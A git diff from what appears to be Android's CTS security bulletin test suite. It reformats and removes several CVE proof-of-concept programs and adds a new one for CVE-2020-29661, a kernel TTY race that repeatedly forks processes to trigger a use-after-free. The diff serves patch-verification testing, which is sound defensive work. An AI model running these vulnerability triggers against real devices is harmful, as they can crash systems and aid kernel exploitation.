+int32_t populateInfoVector(std::string info, android::Vector<FrameInfo> *frameInfo) {
     std::ifstream eleInfo;
     eleInfo.open(info);
     if (!eleInfo.is_open()) {
@@ -447,7 +453,7 @@
         return EXIT_FAILURE;      \
     }
 
-int main(int argc, char** argv) {
+int main(int argc, char **argv) {
     RETURN_FAILURE(argc != 3);
 
     Codec2VideoDecHidlTestBase handle;
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0240/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0240/Android.bp
deleted file mode 100644
index 53ee079..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0240/Android.bp
+++ /dev/null
@@ -1,34 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at:
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- *
- */
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-cc_test {
-    name: "CVE-2020-0240",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: [
-        "poc.cpp",
-    ],
-    include_dirs: [
-        "external/chromium-libpac/includes",
-    ],
-    shared_libs: [
-        "libpac",
-    ],
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0240/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0240/poc.cpp
deleted file mode 100644
index 61e5e9f..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0240/poc.cpp
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include <codecvt>
-#include <fstream>
-#include <iostream>
-#include <proxy_resolver_v8_wrapper.h>
-#include <string.h>
-#include <sys/types.h>
-
-const char16_t *spec = u"";
-const char16_t *host = u"";
-
-int main(int argc, char *argv[]) {
-  if (argc != 2) {
-    return EXIT_FAILURE;
-  }
-
-  ProxyResolverV8Handle *handle = ProxyResolverV8Handle_new();
-
-  std::ifstream t;
-  t.open(argv[1]);
-  if (t.rdstate() != std::ifstream::goodbit) {
-    return EXIT_FAILURE;
-  }
-  t.seekg(0, std::ios::end);
-  size_t size = t.tellg();
-  char *raw = (char *)calloc(size + 1, sizeof(char));
-  t.seekg(0);
-  t.read(raw, size);
-  std::string u8Script(raw);
-  std::u16string u16Script =
-      std::wstring_convert<std::codecvt_utf8_utf16<char16_t>, char16_t>{}
-          .from_bytes(u8Script);
-
-  ProxyResolverV8Handle_SetPacScript(handle, u16Script.data());
-  ProxyResolverV8Handle_GetProxyForURL(handle, spec, host);
-
-  ProxyResolverV8Handle_delete(handle);
-  return EXIT_SUCCESS;
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/poc.cpp
index dcccd2e..6392952 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/poc.cpp
@@ -17,15 +17,15 @@
 #include "utils/String16.h"
 
 int main(void) {
-  android::String16 str{u"hello world"};
-  android::String16 substr{u"hello"};
-  const size_t begin = substr.size();
-  const size_t len = std::numeric_limits<size_t>::max();
-  if (str.remove(len, begin) != android::OK) {
-    return EXIT_FAILURE;
-  }
-  if (strcmp16(str, substr) != 0) {
-    return EXIT_FAILURE;
-  }
-  return EXIT_SUCCESS;
+    android::String16 str{u"hello world"};
+    android::String16 substr{u"hello"};
+    const size_t begin = substr.size();
+    const size_t len = std::numeric_limits<size_t>::max();
+    if (str.remove(len, begin) != android::OK) {
+        return EXIT_FAILURE;
+    }
+    if (strcmp16(str, substr) != 0) {
+        return EXIT_FAILURE;
+    }
+    return EXIT_SUCCESS;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/poc.cpp
index 085eb41..d003efe 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/poc.cpp
@@ -22,8 +22,8 @@
 #define FILE_LENGTH SIZE_MAX
 
 int main() {
-  TemporaryFile tf;
-  android::FileMap fm;
-  fm.create(FILE_NAME, tf.fd, FILE_OFFSET, FILE_LENGTH, true);
-  return EXIT_SUCCESS;
+    TemporaryFile tf;
+    android::FileMap fm;
+    fm.create(FILE_NAME, tf.fd, FILE_OFFSET, FILE_LENGTH, true);
+    return EXIT_SUCCESS;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/poc.cpp
index 09e7f60..b624f5a 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/poc.cpp
@@ -34,18 +34,18 @@
 // for the format, the printf behavior is undefined." The below intercepting
 // function offers a simple way to return negative value.
 int vsnprintf(char *const dest, size_t size, const char *format, va_list ap) {
-  if (!strcmp(format, VULNERABLE_STRING)) {
-    return -1;
-  }
-  return (*fptr)(dest, size, format, ap);
+    if (!strcmp(format, VULNERABLE_STRING)) {
+        return -1;
+    }
+    return (*fptr)(dest, size, format, ap);
 }
 
 int main(void) {
-  fptr = reinterpret_cast<vsnprintf_t>(dlsym(RTLD_NEXT, "vsnprintf"));
-  if (!fptr) {
-    return EXIT_FAILURE;
-  }
-  android::String8 str1{VULNERABLE_STRING};
-  str1.appendFormat(VULNERABLE_STRING);
-  return EXIT_SUCCESS;
+    fptr = reinterpret_cast<vsnprintf_t>(dlsym(RTLD_NEXT, "vsnprintf"));
+    if (!fptr) {
+        return EXIT_FAILURE;
+    }
+    android::String8 str1{VULNERABLE_STRING};
+    str1.appendFormat(VULNERABLE_STRING);
+    return EXIT_SUCCESS;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/poc.cpp
index 0499a84..682fb66 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/poc.cpp
@@ -14,9 +14,9 @@
  * limitations under the License.
  */
 
+#include <stdlib.h>
 #include "../includes/common.h"
 #include "../includes/memutils.h"
-#include <stdlib.h>
 
 char enable_selective_overload = ENABLE_NONE;
 bool kIsVulnerable = false;
@@ -41,74 +41,73 @@
 void *kVulnPtr = nullptr;
 uint16_t kVulnSize = 0;
 
-static tNFC_STATUS (*real_rw_i93_send_cmd_write_single_block)(
-    uint16_t block_number, uint8_t *p_data) = nullptr;
+static tNFC_STATUS (*real_rw_i93_send_cmd_write_single_block)(uint16_t block_number,
+                                                              uint8_t *p_data) = nullptr;
 
 static void *(*real_GKI_getbuf)(uint16_t size) = nullptr;
 static void (*real_GKI_freebuf)(void *ptr) = nullptr;
 
 void init(void) {
-  real_rw_i93_send_cmd_write_single_block =
-      (tNFC_STATUS(*)(uint16_t, uint8_t *))dlsym(
-          RTLD_NEXT, "_Z34rw_i93_send_cmd_write_single_blocktPh");
-  if (!real_rw_i93_send_cmd_write_single_block) {
-    return;
-  }
+    real_rw_i93_send_cmd_write_single_block =
+            (tNFC_STATUS(*)(uint16_t, uint8_t *))dlsym(RTLD_NEXT,
+                                                       "_Z34rw_i93_send_cmd_write_single_blocktPh");
+    if (!real_rw_i93_send_cmd_write_single_block) {
+        return;
+    }
 
-  real_GKI_getbuf = (void *(*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
-  if (!real_GKI_getbuf) {
-    return;
-  }
+    real_GKI_getbuf = (void *(*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
+    if (!real_GKI_getbuf) {
+        return;
+    }
 
-  real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
-  if (!real_GKI_freebuf) {
-    return;
-  }
+    real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
+    if (!real_GKI_freebuf) {
+        return;
+    }
 
-  kIsInitialized = true;
+    kIsInitialized = true;
 }
 
 void *GKI_getbuf(uint16_t size) {
-  if (!kIsInitialized) {
-    init();
-  }
-  void *ptr = nullptr;
-  if ((size == I93_MAX_BLOCK_LENGH) || (size == RW_I93_FORMAT_DATA_LEN)) {
-    ptr = malloc(size);
-    memset(ptr, DEFAULT_VALUE, size);
-    kVulnPtr = ptr;
-    kVulnSize = size;
-  } else {
-    ptr = real_GKI_getbuf(size);
-  }
-  return ptr;
+    if (!kIsInitialized) {
+        init();
+    }
+    void *ptr = nullptr;
+    if ((size == I93_MAX_BLOCK_LENGH) || (size == RW_I93_FORMAT_DATA_LEN)) {
+        ptr = malloc(size);
+        memset(ptr, DEFAULT_VALUE, size);
+        kVulnPtr = ptr;
+        kVulnSize = size;
+    } else {
+        ptr = real_GKI_getbuf(size);
+    }
+    return ptr;
 }
 
 void GKI_freebuf(void *ptr) {
-  if (!kIsInitialized) {
-    init();
-  }
-  if (ptr == kVulnPtr) {
-    free(ptr);
-  } else {
-    real_GKI_freebuf(ptr);
-  }
+    if (!kIsInitialized) {
+        init();
+    }
+    if (ptr == kVulnPtr) {
+        free(ptr);
+    } else {
+        real_GKI_freebuf(ptr);
+    }
 }
 
-size_t rw_i93_send_cmd_write_single_block(uint16_t block_number,
-                                          uint8_t *p_data) {
-  if (!kIsInitialized) {
-    init();
-  }
-  if (p_data == kVulnPtr) {
-    for (int n = 0; n < I93_MAX_BLOCK_LENGH; ++n) {
-      if (p_data[n] == DEFAULT_VALUE) {
-        kIsVulnerable = true;
-        break;
-      }
+size_t rw_i93_send_cmd_write_single_block(uint16_t block_number, uint8_t *p_data) {
+    if (!kIsInitialized) {
+        init();
     }
-  }
-  return real_rw_i93_send_cmd_write_single_block(block_number, p_data);
+    if (p_data == kVulnPtr) {
+        for (int n = 0; n < I93_MAX_BLOCK_LENGH; ++n) {
+            if (p_data[n] == DEFAULT_VALUE) {
+                kIsVulnerable = true;
+                break;
+            }
+        }
+    }
+    return real_rw_i93_send_cmd_write_single_block(block_number, p_data);
 }
 
 #endif /* _64_BIT */
@@ -116,41 +115,41 @@
 int main() {
 // This PoC is only for 64-bit builds
 #if _64_BIT
-  enable_selective_overload = ENABLE_ALL;
-  tRW_I93_CB *p_i93 = &rw_cb.tcb.i93;
+    enable_selective_overload = ENABLE_ALL;
+    tRW_I93_CB *p_i93 = &rw_cb.tcb.i93;
 
-  GKI_init();
-  rw_init();
+    GKI_init();
+    rw_init();
 
-  uint8_t p_uid = 1;
-  if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
-    return EXIT_FAILURE;
-  }
+    uint8_t p_uid = 1;
+    if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
+        return EXIT_FAILURE;
+    }
 
-  tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
-  tNFC_CONN_EVT event = NFC_DATA_CEVT;
-  p_i93->sub_state = RW_I93_SUBSTATE_CHECK_READ_ONLY;
+    tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+    tNFC_CONN_EVT event = NFC_DATA_CEVT;
+    p_i93->sub_state = RW_I93_SUBSTATE_CHECK_READ_ONLY;
 
-  tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
-  if (!p_data) {
-    return EXIT_FAILURE;
-  }
+    tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+    if (!p_data) {
+        return EXIT_FAILURE;
+    }
 
-  p_data->data.p_data = (NFC_HDR *)GKI_getbuf(sizeof(uint8_t) * 16);
-  if (!(p_data->data.p_data)) {
+    p_data->data.p_data = (NFC_HDR *)GKI_getbuf(sizeof(uint8_t) * 16);
+    if (!(p_data->data.p_data)) {
+        free(p_data);
+        return EXIT_FAILURE;
+    }
+
+    (p_data->data.p_data)->len = I93_MAX_BLOCK_LENGH;
+    p_i93->state = RW_I93_STATE_FORMAT;
+    p_i93->block_size = 7;
+    p_data->status = NFC_STATUS_OK;
+
+    p_cb->p_cback(0, event, p_data);
+
     free(p_data);
-    return EXIT_FAILURE;
-  }
-
-  (p_data->data.p_data)->len = I93_MAX_BLOCK_LENGH;
-  p_i93->state = RW_I93_STATE_FORMAT;
-  p_i93->block_size = 7;
-  p_data->status = NFC_STATUS_OK;
-
-  p_cb->p_cback(0, event, p_data);
-
-  free(p_data);
-  enable_selective_overload = ENABLE_NONE;
+    enable_selective_overload = ENABLE_NONE;
 #endif /* _64_BIT */
-  return kIsVulnerable ? EXIT_VULNERABLE : EXIT_SUCCESS;
+    return kIsVulnerable ? EXIT_VULNERABLE : EXIT_SUCCESS;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/poc.cpp
index d434e11..a809ab2 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/poc.cpp
@@ -73,7 +73,7 @@
         if (!inputEOS) {
             uint32_t bufferFlags = 0;
             ssize_t inIdx =
-                AMediaCodec_dequeueInputBuffer(codec, DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS);
+                    AMediaCodec_dequeueInputBuffer(codec, DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS);
             if (inIdx >= 0) {
                 ssize_t bytesRead = 0;
                 size_t bufSize;
@@ -102,7 +102,7 @@
         /* Dequeue output */
         AMediaCodecBufferInfo info;
         ssize_t outIdx =
-            AMediaCodec_dequeueOutputBuffer(codec, &info, DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS);
+                AMediaCodec_dequeueOutputBuffer(codec, &info, DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS);
         if (outIdx == AMEDIACODEC_INFO_OUTPUT_FORMAT_CHANGED ||
             outIdx == AMEDIACODEC_INFO_OUTPUT_BUFFERS_CHANGED) {
             inActiveTime = 0;
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29661/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29661/Android.bp
new file mode 100644
index 0000000..d3bf43e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29661/Android.bp
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2020-29661",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.cpp",],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29661/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29661/poc.cpp
new file mode 100644
index 0000000..b8cc096
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29661/poc.cpp
@@ -0,0 +1,148 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#if !defined _GNU_SOURCE
+#define _GNU_SOURCE
+#endif
+
+#include <err.h>
+#include <fcntl.h>
+#include <signal.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/ioctl.h>
+#include <sys/prctl.h>
+#include <sys/wait.h>
+#include <termios.h>
+#include <time.h>
+#include <unistd.h>
+
+#define MAX_TEST_DURATION 60
+
+time_t start_timer(void);
+int timer_active(time_t timer_started);
+
+inline time_t start_timer() {
+    return time(NULL);
+}
+
+inline int timer_active(time_t timer_started) {
+    return time(NULL) < (timer_started + MAX_TEST_DURATION);
+}
+
+int main(void) {
+    sync(); /* we're probably gonna crash... */
+
+    // set test timer
+    const time_t timer_started = start_timer();
+
+    /*
+     * We may already be process group leader but want to be session leader;
+     * therefore, do everything in a child process.
+     */
+    pid_t main_task = fork();
+    if (main_task == -1) err(EXIT_FAILURE, "initial fork");
+    if (main_task != 0) {
+        int status;
+        if (waitpid(main_task, &status, 0) != main_task) err(EXIT_FAILURE, "waitpid main_task");
+        return WEXITSTATUS(status);
+    }
+
+    printf("%d:test starts\n", getpid());
+
+    if (prctl(PR_SET_PDEATHSIG, SIGKILL)) err(EXIT_FAILURE, "PR_SET_PDEATHSIG");
+    if (getppid() == 1) exit(EXIT_FAILURE);
+
+    /* basic preparation */
+    if (signal(SIGTTOU, SIG_IGN)) err(EXIT_FAILURE, "signal");
+    if (setsid() == -1) err(EXIT_FAILURE, "start new session");
+
+    /* set up a new pty pair */
+    int ptmx = open("/dev/ptmx", O_RDWR);
+    if (ptmx == -1) err(EXIT_FAILURE, "open ptmx");
+    unlockpt(ptmx);
+    int tty = open(ptsname(ptmx), O_RDWR);
+    if (tty == -1) err(EXIT_FAILURE, "open tty");
+
+    /*
+     * Let a series of children change the ->pgrp pointer
+     * protected by the tty's ctrl_lock...
+     */
+    pid_t child = fork();
+    if (child == -1) {
+        err(EXIT_FAILURE, "fork");
+    }
+
+    // grandchildren creator process
+    if (child == 0) {
+        int ret = EXIT_SUCCESS;
+        if (prctl(PR_SET_PDEATHSIG, SIGKILL)) err(EXIT_FAILURE, "PR_SET_PDEATHSIG");
+        if (getppid() == 1) exit(EXIT_FAILURE);
+
+        while (timer_active(timer_started)) {
+            pid_t grandchild = fork();
+            if (grandchild == -1) {
+                err(EXIT_FAILURE, "fork grandchild");
+            }
+            if (grandchild == 0) {
+                if (setpgid(0, 0)) err(EXIT_FAILURE, "setpgid");
+                int pgrp = getpid();
+                if (ioctl(tty, TIOCSPGRP, &pgrp)) {
+                    err(EXIT_FAILURE, "TIOCSPGRP (tty)");
+                }
+                exit(EXIT_SUCCESS);
+            }
+            int status;
+            if (waitpid(grandchild, &status, 0) != grandchild)
+                err(EXIT_FAILURE, "waitpid for grandchild");
+            if ((ret = WEXITSTATUS(status)) != EXIT_SUCCESS) {
+                break;
+            }
+        } // end while(time)
+        exit(ret);
+    } // end grandchildren creator process
+
+    /*
+     * ... while the parent changes the same ->pgrp pointer under the
+     * ctrl_lock of the other side of the pty pair.
+     */
+    int status;
+    const char* const TIOCSPGRP_ERROR = "TIOCSPGRP (ptmx)";
+    const char* const WAITPID_ERROR = "waitpid for grandchildren creator";
+    const char* message1 = NULL;
+    const char* message2 = NULL;
+
+    while (timer_active(timer_started)) {
+        int pgrp = getpid();
+        if (ioctl(ptmx, TIOCSPGRP, &pgrp)) {
+            message1 = TIOCSPGRP_ERROR;
+            break;
+        }
+    }
+
+    // wait for grandchildren creator to complete
+    if (waitpid(child, &status, 0) != child) {
+        message2 = WAITPID_ERROR;
+    }
+
+    // return exit status
+    if (message1 != NULL || message2 != NULL) {
+        err(EXIT_FAILURE, "%s %s", message1 != NULL ? message1 : "",
+            message2 != NULL ? message2 : "");
+    }
+    printf("%d:test completed\n", getpid());
+    return WEXITSTATUS(status);
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/pac/Android.bp b/hostsidetests/securitybulletin/securityPatch/pac/Android.bp
deleted file mode 100644
index 5887f2a..0000000
--- a/hostsidetests/securitybulletin/securityPatch/pac/Android.bp
+++ /dev/null
@@ -1,29 +0,0 @@
-// Copyright (C) 2019 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-cc_test {
-    name: "pacrunner",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["pac.cpp"],
-    include_dirs: ["external/chromium-libpac/includes"],
-    shared_libs: ["libpac"],
-    cflags: [
-        "-Wall",
-        "-Werror",
-    ],
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/pac/pac.cpp b/hostsidetests/securitybulletin/securityPatch/pac/pac.cpp
deleted file mode 100644
index 0629ec3..0000000
--- a/hostsidetests/securitybulletin/securityPatch/pac/pac.cpp
+++ /dev/null
@@ -1,67 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include <proxy_resolver_v8_wrapper.h>
-#include <sys/types.h>
-#include <string.h>
-#include <codecvt>
-#include <fstream>
-#include <iostream>
-#include "../includes/common.h"
-
-const char16_t* spec = u"";
-const char16_t* host = u"";
-
-int main(int argc, char *argv[]) {
-  bool shouldRunMultipleTimes = false;
-  if (argc != 2) {
-    if (argc != 3) {
-      std::cout << "incorrect number of arguments" << std::endl;
-      std::cout << "usage: ./pacrunner mypac.pac (or)" << std::endl;
-      std::cout << "usage: ./pacrunner mypac.pac true" << std::endl;
-      return EXIT_FAILURE;
-    } else {
-      shouldRunMultipleTimes = true;
-    }
-  }
-
-  ProxyResolverV8Handle* handle = ProxyResolverV8Handle_new();
-
-  std::ifstream t;
-  t.open(argv[1]);
-  if (t.rdstate() != std::ifstream::goodbit) {
-    std::cout << "error opening file" << std::endl;
-    return EXIT_FAILURE;
-  }
-  t.seekg(0, std::ios::end);
-  size_t size = t.tellg();
-  // allocate an extra byte for the null terminator
-  char* raw = (char*)calloc(size + 1, sizeof(char));
-  t.seekg(0);
-  t.read(raw, size);
-  std::string u8Script(raw);
-  std::u16string u16Script = std::wstring_convert<
-        std::codecvt_utf8_utf16<char16_t>, char16_t>{}.from_bytes(u8Script);
-
-  ProxyResolverV8Handle_SetPacScript(handle, u16Script.data());
-  time_t currentTime = start_timer();
-  do {
-    ProxyResolverV8Handle_GetProxyForURL(handle, spec, host);
-  } while (shouldRunMultipleTimes && timer_active(currentTime));
-
-  ProxyResolverV8Handle_delete(handle);
-  return EXIT_SUCCESS;
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index b633975..912ba28 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -504,38 +504,6 @@
     }
 
     /**
-     * Runs the pacrunner utility against a given proxyautoconfig file, asserting that it doesn't
-     * crash
-     * @param pacName the name of the proxy autoconfig script from the /res folder
-     * @param device device to be ran on
-     */
-    public static int runProxyAutoConfig(String pacName, ITestDevice device) throws Exception {
-        return runProxyAutoConfig(pacName, null, device);
-    }
-
-    /**
-     * Runs the binary against a given proxyautoconfig file, asserting that it doesn't
-     * crash
-     * @param pacName the name of the proxy autoconfig script from the /res folder
-     * @param arguments input arguments for pacrunner
-     * @param device device to be ran on
-     */
-    public static int runProxyAutoConfig(String pacName, String arguments,
-            ITestDevice device) throws Exception {
-        pacName += ".pac";
-        String targetPath = TMP_PATH + pacName;
-        AdbUtils.pushResource("/" + pacName, targetPath, device);
-        if(arguments != null) {
-            targetPath += " " + arguments;
-        }
-        runPocAssertNoCrashes(
-                "pacrunner", device, targetPath,
-                new CrashUtils.Config().setProcessPatterns("pacrunner"));
-        runCommandLine("rm " + targetPath, device);
-        return 0; // b/157172329 fix tests that manually check the result; remove return statement
-    }
-
-    /**
      * Runs the poc binary and asserts that there are no security crashes that match the expected
      * process pattern.
      * @param pocName a string path to poc from the /res folder
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_6328.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_6328.java
deleted file mode 100644
index b75dd3a..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_6328.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/**
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.device.ITestDevice;
-import android.platform.test.annotations.SecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2016_6328 extends SecurityTestCase {
-
-    /**
-     * b/162602132
-     * Vulnerability Behaviour: SIGSEGV in self
-     */
-    @SecurityTest(minPatchLevel = "2021-01")
-    @Test
-    public void testPocCVE_2016_6328() throws Exception {
-        pocPusher.only32();
-        String inputFiles[] = {"cve_2016_6328.mp4"};
-        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2016-6328",
-                AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2046.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2046.java
deleted file mode 100644
index 783bfa1..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2046.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.device.ITestDevice;
-
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2046 extends SecurityTestCase {
-
-    /**
-     * b/117556220
-     * Vulnerability Behaviour: SIGSEGV in self
-     */
-    @SecurityTest(minPatchLevel = "2019-05")
-    @Test
-    public void testPocCVE_2019_2046() throws Exception {
-        pocPusher.only64();
-        AdbUtils.runProxyAutoConfig("cve_2019_2046", "true", getDevice());
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0224.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0224.java
deleted file mode 100644
index 4cd94c9..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0224.java
+++ /dev/null
@@ -1,42 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import java.util.Arrays;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
